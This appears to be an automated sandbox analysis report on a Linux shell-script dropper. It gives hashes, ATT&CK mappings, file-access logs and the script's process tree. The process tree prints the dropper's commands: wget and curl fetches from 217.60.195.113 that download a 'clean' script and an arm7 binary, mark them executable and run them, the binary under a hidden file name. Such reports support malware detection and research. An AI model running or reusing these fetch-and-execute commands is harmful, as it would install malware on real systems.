7c8e7619c5398d3b857e6f72cf791e2c2e27762ddd8521eb8971c893cdb8b1fc

Analysis

max time kernel
40s
max time network
42s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
20/06/2026, 00:51

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General

Target
sh
Size 2KB
Sample260620-a7ksaady21
SHA256 7c8e7619c5398d3b857e6f72cf791e2c2e27762ddd8521eb8971c893cdb8b1fc
MD5 d0cf38716e43563331c02cf645ecd993
SHA1 e35e6a0244f8edeb9fe4af22db53655762ec6572
SHA512 b014b744c399ee3c1d091264d774d9361e8d632305230ef2d7f5341646a3adfa0688f2c746779f882ba8cd105cb41b327725fcf9a809b0fba2199119ae63d099
TLSH
T1DA4122BAF4628E3033ADC5BD748A654CA7579A6F491B2E74F087783C27BC32470742A5
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
777	chmod
805	chmod

Enumerates running processes
Discovers information about currently running processes on the system

Reads network interface configuration 2 TTPs 6 IoCs

Fetches information about one or more active network interfaces.

discovery

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0/byte_queue_limits	find
File opened for reading	/sys/devices/virtual/net/lo/queues/rx-0	find
File opened for reading	/sys/devices/virtual/net/lo/statistics	find
File opened for reading	/sys/devices/virtual/net/lo/power	find
File opened for reading	/sys/devices/virtual/net/lo/queues	find
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0	find

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 7 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/cpu0/topology	find
File opened for reading	/sys/devices/system/cpu/power	find
File opened for reading	/sys/devices/system/cpu/hotplug	find
File opened for reading	/sys/devices/system/cpu/cpufreq	find
File opened for reading	/sys/devices/system/cpu/cpu0	find
File opened for reading	/sys/devices/system/cpu/cpu0/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/hotplug	find

Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_es_remove_extent	find
File opened for reading	/sys/kernel/debug/tracing/events/block/block_dirty_buffer	find
File opened for reading	/sys/kernel/debug/tracing/events/filelock/posix_lock_inode	find
File opened for reading	/sys/devices/virtual/tty/tty12	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_drop_inode	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_readpage	find
File opened for reading	/sys/kernel/debug/tracing/events/net/net_dev_queue	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_lremovexattr	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_symlinkat	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_sched_yield	find
File opened for reading	/sys/devices/platform/serial8250/tty/ttyS0/power	find
File opened for reading	/sys/devices/virtual/tty/tty38/power	find
File opened for reading	/sys/kernel/debug/tracing/events/i2c/smbus_read	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_chroot	find
File opened for reading	/sys/devices/virtual/tty/tty46/power	find
File opened for reading	/sys/class/leds	find
File opened for reading	/sys/firmware/devicetree/base/virtio_mmio@a003c00	find
File opened for reading	/sys/fs/cgroup/devices/init.scope	find
File opened for reading	/sys/bus/platform/drivers/reg-dummy	find
File opened for reading	/sys/module/rcupdate	find
File opened for reading	/sys/devices/system/clockevents/power	find
File opened for reading	/sys/bus/pci_express/drivers/pcie_pme	find
File opened for reading	/sys/devices/virtual/vc/vcs4	find
File opened for reading	/sys/module/tda827x	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_eventfd2	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_tee	find
File opened for reading	/sys/devices/platform/a003c00.virtio_mmio/virtio0/block/vda/vda1	find
File opened for reading	/sys/devices/virtual/tty/tty57	find
File opened for reading	/sys/fs/cgroup/devices/user.slice/user-0.slice/session-c2.scope	find
File opened for reading	/sys/fs/cgroup/devices/system.slice/dev-disk-by\x2dpartuuid-5ec05f13\x2d05.swap	find
File opened for reading	/sys/module/cryptomgr/parameters	find
File opened for reading	/sys/kernel/irq/26	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_faccessat	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_invalidatepage	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_io_cancel	find
File opened for reading	/sys/firmware/devicetree/base/virtio_mmio@a003400	find
File opened for reading	/sys/bus/platform/drivers/of_serial	find
File opened for reading	/sys/bus/platform/drivers/tegra124-pinctrl	find
File opened for reading	/sys/kernel/irq/7	find
File opened for reading	/sys/kernel/debug/tracing/events/ras/aer_event	find
File opened for reading	/sys/kernel/debug/tracing/events/clk/clk_enable_complete	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_setsockopt	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_llseek	find
File opened for reading	/sys/fs/cgroup/systemd/user.slice	find
File opened for reading	/sys/bus/gpio	find
File opened for reading	/sys/kernel/debug/tracing/events/cma/cma_alloc	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_get_robust_list	find
File opened for reading	/sys/devices/virtual/tty/tty39	find
File opened for reading	/sys/class/power_supply	find
File opened for reading	/sys/module/rc_core/parameters	find
File opened for reading	/sys/kernel/debug/tracing/events/iommu	find
File opened for reading	/sys/kernel/debug/tracing/events/vmscan/mm_vmscan_lru_isolate	find
File opened for reading	/sys/fs/cgroup/devices/system.slice	find
File opened for reading	/sys/bus/platform/drivers/armada-375-pinctrl	find
File opened for reading	/sys/kernel/debug/tracing/events/clk/clk_set_parent_complete	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_vfork	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_journalled_write_end	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_recvmmsg	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_sched_rr_get_interval	find
File opened for reading	/sys/devices/platform/a000600.virtio_mmio/power	find
File opened for reading	/sys/kernel/debug/tracing/events/regmap	find
File opened for reading	/sys/devices/platform/gpio-keys/input/input0/event0/power	find
File opened for reading	/sys/devices/virtual/tty/tty59/power	find
File opened for reading	/sys/devices/virtual/tty/tty55	find

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/net/ipv6/conf	find
File opened for reading	/proc/sys/net/ipv6/route	find
File opened for reading	/proc/27/task/27/net/netfilter	find
File opened for reading	/proc/284/fd	find
File opened for reading	/proc/633/fd	find
File opened for reading	/proc/671/ns	find
File opened for reading	/proc/20/fd	find
File opened for reading	/proc/148/net/stat	find
File opened for reading	/proc/284/task/284/net	find
File opened for reading	/proc/642/map_files	find
File opened for reading	/proc/9/task/9/fdinfo	find
File opened for reading	/proc/13/fd	find
File opened for reading	/proc/14/net/dev_snmp6	find
File opened for reading	/proc/26/task/26	find
File opened for reading	/proc/307/task/311/net	find
File opened for reading	/proc/21/task/21/attr	find
File opened for reading	/proc/105/attr	find
File opened for reading	/proc/289/attr	find
File opened for reading	/proc/671/task	find
File opened for reading	/proc/75/net/netfilter	find
File opened for reading	/proc/580	find
File opened for reading	/proc/580/task/580/net	find
File opened for reading	/proc/5/task/5/attr	find
File opened for reading	/proc/25/fd	find
File opened for reading	/proc/291/map_files	find
File opened for reading	/proc/307/task/312/fd	find
File opened for reading	/proc/307/fd	find
File opened for reading	/proc/671/map_files	find
File opened for reading	/proc/9/attr	find
File opened for reading	/proc/24/map_files	find
File opened for reading	/proc/27/attr	find
File opened for reading	/proc/282/task/282/net/netfilter	find
File opened for reading	/proc/567/task	find
File opened for reading	/proc/667/task/667/ns	find
File opened for reading	/proc/sys/net/ipv6/icmp	find
File opened for reading	/proc/sys/net/ipv6/neigh/lo	find
File opened for reading	/proc/15/net/stat	find
File opened for reading	/proc/105/task/105/net	find
File opened for reading	/proc/148/task/148/net/dev_snmp6	find
File opened for reading	/proc/289/net	find
File opened for reading	/proc/299/task/299	find
File opened for reading	/proc/299/task/299/ns	find
File opened for reading	/proc/21/net	find
File opened for reading	/proc/25/task/25/net/netfilter	find
File opened for reading	/proc/328/net/dev_snmp6	find
File opened for reading	/proc/590/task/590	find
File opened for reading	/proc/660/task/663/net/stat	find
File opened for reading	/proc/fs/ext4	find
File opened for reading	/proc/fs/jbd2	find
File opened for reading	/proc/irq/51/virtio1	find
File opened for reading	/proc/6/task/6/fdinfo	find
File opened for reading	/proc/13/task/13	find
File opened for reading	/proc/135/task/135/net/dev_snmp6	find
File opened for reading	/proc/136	find
File opened for reading	/proc/299/task/299/fdinfo	find
File opened for reading	/proc/sys/net/ipv4/conf/default	find
File opened for reading	/proc/11/task/11/fd	find
File opened for reading	/proc/12/net/netfilter	find
File opened for reading	/proc/16/fd	find
File opened for reading	/proc/26/task/26/fd	find
File opened for reading	/proc/43/net/netfilter	find
File opened for reading	/proc/299/fdinfo	find
File opened for reading	/proc/338/task/338/net	find
File opened for reading	/proc/irq/19	find

/tmp/sh
/tmp/sh
1⤵
PID:644
- /bin/cat
  cat /proc/mounts
  2⤵
  PID:653
- /bin/grep
  grep noexec
  2⤵
  PID:654
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:656
- /usr/bin/whoami
  whoami
  2⤵
  PID:669
- /usr/bin/find
  find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*"
  2⤵
  - Reads network interface configuration
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:671
- /bin/uname
  uname -mp
  2⤵
  PID:757
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:762
- /usr/bin/od
  od -An -N2 -i /dev/urandom
  2⤵
  PID:761
- /usr/bin/expr
  expr 56138 "%" 32 + 4
  2⤵
  PID:763
- /usr/bin/tr
  tr -dc A-Za-z0-9
  2⤵
  PID:766
- /usr/bin/head
  head -c 14
  2⤵
  PID:767
- /usr/bin/openssl
  openssl rand -base64 256
  2⤵
  PID:765
- /usr/bin/touch
  touch .testfile
  2⤵
  PID:768
- /bin/dd
  dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
  2⤵
  PID:770
- /bin/rm
  rm -rf .testfile .testfile2
  2⤵
  PID:771
- /bin/rm
  rm -rf clean
  2⤵
  PID:772
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.195.113/clean
  2⤵
  PID:773
- /usr/bin/curl
  curl -skO https://217.60.195.113/clean
  2⤵
  - Checks CPU configuration
  PID:776
- /bin/chmod
  chmod +x clean
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /bin/sh
  sh clean
  2⤵
  PID:778
- /bin/rm
  rm -rf clean
  2⤵
  PID:779
- /bin/rm
  rm -rf .redtail
  2⤵
  PID:780
- /bin/rm
  rm -rf .ft096uwkZ6n80o
  2⤵
  PID:781
- /bin/grep
  grep -q x86_64
  2⤵
  PID:783
- /bin/grep
  grep -q amd64
  2⤵
  PID:785
- /bin/grep
  grep -q "i[3456]86"
  2⤵
  PID:787
- /bin/grep
  grep -q armv8
  2⤵
  PID:789
- /bin/grep
  grep -q aarch64
  2⤵
  PID:791
- /bin/grep
  grep -q armv7
  2⤵
  PID:793
- /bin/rm
  rm -rf arm7
  2⤵
  PID:794
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.195.113/arm7
  2⤵
  PID:795
- /usr/bin/curl
  curl -skO https://217.60.195.113/arm7
  2⤵
  - Checks CPU configuration
  PID:801
- /bin/mv
  mv arm7 .ft096uwkZ6n80o
  2⤵
  PID:804
- /bin/chmod
  chmod +x .ft096uwkZ6n80o
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /.ft096uwkZ6n80o
  ./.ft096uwkZ6n80o
  2⤵
  PID:806

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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.testfile2

Path /.testfile2
Size 2.0MB
SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
MD5 b2d1236c286a3c0704224fe4105eca49
SHA1 7d76d48d64d7ac5411d714a4bb83f37e3e5b8df6
SHA512 731859029215873fdac1c9f2f8bd25a334abf0f3a9e1b057cf2cacc2826d86b0c26a3fa920a936421401c0471f38857cb53ba905489ea46b185209fdff65b3b6
SSDEEP 3::
MD5 SHA1 SHA512 SSDEEP

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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